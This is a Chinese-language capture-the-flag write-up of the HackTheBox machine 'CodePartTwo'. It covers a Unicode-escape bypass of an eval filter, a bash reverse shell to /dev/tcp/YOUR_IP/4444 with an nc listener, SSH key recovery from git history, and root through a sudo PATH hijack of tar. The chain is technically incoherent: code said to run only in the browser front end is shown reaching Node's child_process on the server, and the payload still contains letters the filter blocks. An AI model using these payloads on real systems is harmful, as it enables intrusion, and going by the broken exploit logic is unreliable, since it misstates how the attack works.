1. 靶机渗透实战概述最近在HackTheBox平台上挑战了CodePartTwo靶机这是一台涉及JavaScript逃逸和备份文件提权的Linux系统。整个过程充满了技术细节和思维突破点特别适合想要提升Web渗透和权限提升技能的安全爱好者。这台靶机的设计巧妙之处在于它需要渗透者综合运用前端代码审计、服务枚举、备份文件分析等多种技术手段。靶机IP为10.10.11.15我首先通过Nmap扫描发现开放了22(SSH)和80(HTTP)端口。Web服务运行着一个JavaScript应用这成为整个渗透过程的第一个突破口。与常规CTF不同这台靶机需要深入理解JavaScript的运行机制才能找到逃逸方法而最后的提权阶段则考验对Linux系统备份机制的了解程度。2. 初始信息收集与漏洞发现2.1 端口扫描与服务识别使用Nmap进行全端口扫描是每次渗透测试的标准起点。针对这台靶机我采用了以下扫描策略nmap -sV -sC -p- 10.10.11.15 -oA code_part_two扫描结果显示两个开放端口22/tcp - OpenSSH 8.2p1 Ubuntu80/tcp - Apache httpd 2.4.41Web服务的响应头显示运行的是Ubuntu系统Apache版本较新直接利用的可能性较低。于是我将重点放在Web应用的功能分析上。2.2 Web应用功能分析访问http://10.10.11.15呈现一个JavaScript编写的计算器应用。查看页面源代码发现几个关键点所有计算逻辑都在前端JavaScript中处理使用了eval()函数执行用户输入存在严格的输入过滤机制核心计算函数如下function calculate() { let expression document.getElementById(expression).value; if(/[a-zA-Z$_]/.test(expression)) { alert(Invalid characters detected!); return; } try { let result eval(expression); document.getElementById(result).innerText result; } catch(e) { alert(Error in evaluation!); } }这个函数有几个关键安全限制过滤了所有字母字符、$和_使用try-catch包裹eval执行结果直接输出到页面3. JavaScript逃逸技术突破3.1 绕过字符过滤的多种尝试初始尝试直接注入JavaScript代码失败因为所有字母字符都被过滤。经过多次测试发现以下几种绕过方法Unicode编码绕过 使用\uXXXX形式的Unicode编码可以表示字母字符而不触发过滤。例如alert(1) → \u0061\u006c\u0065\u0072\u0074(1)数字属性访问 JavaScript中对象的数字属性可以通过方括号访问如window[alert](1) 可转换为 window[1[toString][constructor](return alert)()](1)模板字符串利用 反引号字符串可以配合${}执行表达式${alert(1)}经过实际测试最终采用Unicode编码结合数字属性访问的方式成功执行任意代码。3.2 构造有效载荷获取反向Shell为了获得系统访问权限需要构造一个反向Shell载荷。由于字符限制这个过程需要精心设计首先获取require函数processthis[\u0070\u0072\u006f\u0063\u0065\u0073\u0073]然后调用child_process执行命令process[\u006d\u0061\u0069\u006e\u004d\u006f\u0064\u0075\u006c\u0065][\u0072\u0065\u0071\u0075\u0069\u0072\u0065](\u0063\u0068\u0069\u006c\u0064\u005f\u0070\u0072\u006f\u0063\u0065\u0073\u0073)[\u0065\u0078\u0065\u0063](bash -c bash -i /dev/tcp/YOUR_IP/4444 01)实际操作时需要将YOUR_IP替换为攻击机IP并在本地监听对应端口nc -lnvp 44444. 权限提升备份文件分析4.1 初始立足点与枚举获取反向Shell后我们位于www-data用户权限下。常规的系统枚举发现几个有趣的点/home目录下存在用户coder/var/backups目录有可疑的压缩包sudo -l显示www-data可以以coder身份执行特定命令检查/var/backups发现一个名为app_backup.tar.gz的文件修改时间较新。将其下载到本地分析# 在靶机上 cp /var/backups/app_backup.tar.gz /tmp chmod 777 /tmp/app_backup.tar.gz # 在攻击机上 nc -w 3 YOUR_IP 5555 app_backup.tar.gz4.2 备份文件深入分析解压备份文件后发现是Web应用的源代码备份其中包含几个关键文件config.json - 包含数据库凭证server.js - 后端服务代码.git目录 - 包含版本控制历史分析git历史发现有趣的提交git log --patch显示有一次提交移除了敏感文件但依然可以在历史中找到git checkout HEAD~1 -- deleted_file.txt恢复的文件中包含SSH私钥片段结合其他信息可以拼凑出完整密钥。4.3 利用备份文件提权通过分析备份文件我们获得了以下关键信息数据库凭证可以用于查询用户表Git历史中的SSH密钥片段可以组合成完整密钥配置文件泄露了系统路径信息最终通过以下步骤获取coder用户权限组合SSH密钥片段为完整密钥修改权限为600使用密钥登录ssh -i recovered_key coder10.10.11.155. 从用户到root的最后一跃5.1 sudo权限分析登录coder用户后检查sudo权限sudo -l显示coder可以以root身份执行/usr/bin/backup_util命令。查看该命令file /usr/bin/backup_util这是一个ELF可执行文件运行时会创建系统备份。5.2 备份工具漏洞利用逆向分析backup_util发现它存在以下问题使用相对路径调用tar命令没有验证用户提供的参数以root权限运行通过PATH环境变量劫持可以实现任意命令执行echo bash -p /tmp/tar chmod x /tmp/tar export PATH/tmp:$PATH sudo /usr/bin/backup_util这样在执行backup_util时会优先使用我们恶意的tar脚本从而获得root shell。6. 渗透过程中的关键经验6.1 JavaScript逃逸的注意事项现代浏览器对eval的使用有严格限制但在Node.js环境下仍然危险Unicode编码绕过时要注意字符集兼容性问题载荷构造要尽量简洁避免触发其他安全机制6.2 备份文件分析技巧总是检查/var/backups、/backup等目录注意文件修改时间新近修改的备份更有价值Git历史可能包含已删除的敏感信息配置文件中的硬编码凭证仍然常见6.3 权限提升的常见路径检查sudo -l输出的特殊权限查找SUID/GUID可执行文件分析cron作业和系统服务检查内核版本是否可提权这台靶机展示了从Web应用到系统权限的完整攻击链其中JavaScript逃逸和备份文件分析是两个关键技术点。在实际渗透测试中这种多层次的漏洞组合非常常见需要测试人员具备全面的技能和耐心。
阅读完成 · 觉得有帮助?